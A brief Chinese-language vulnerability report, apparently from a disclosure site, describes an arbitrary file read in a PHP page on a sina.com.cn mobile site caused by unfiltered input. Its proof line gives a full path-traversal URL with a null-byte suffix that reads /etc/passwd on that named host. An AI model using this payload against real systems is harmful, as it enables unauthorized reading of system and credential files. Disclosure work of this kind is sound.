简要描述：对提交的变量没有作安全过滤和可读取文件目录作严格的控制，导致可以读取系统上任意文件，因为是php架构，可能同时导致其它严重问题。
详细说明：


漏洞证明：http://3g.sina.com.cn/prog/wapsite/books/subtop.php?vt=&cate=/../../../../../../../../../../../../../../../../../etc/passwd%00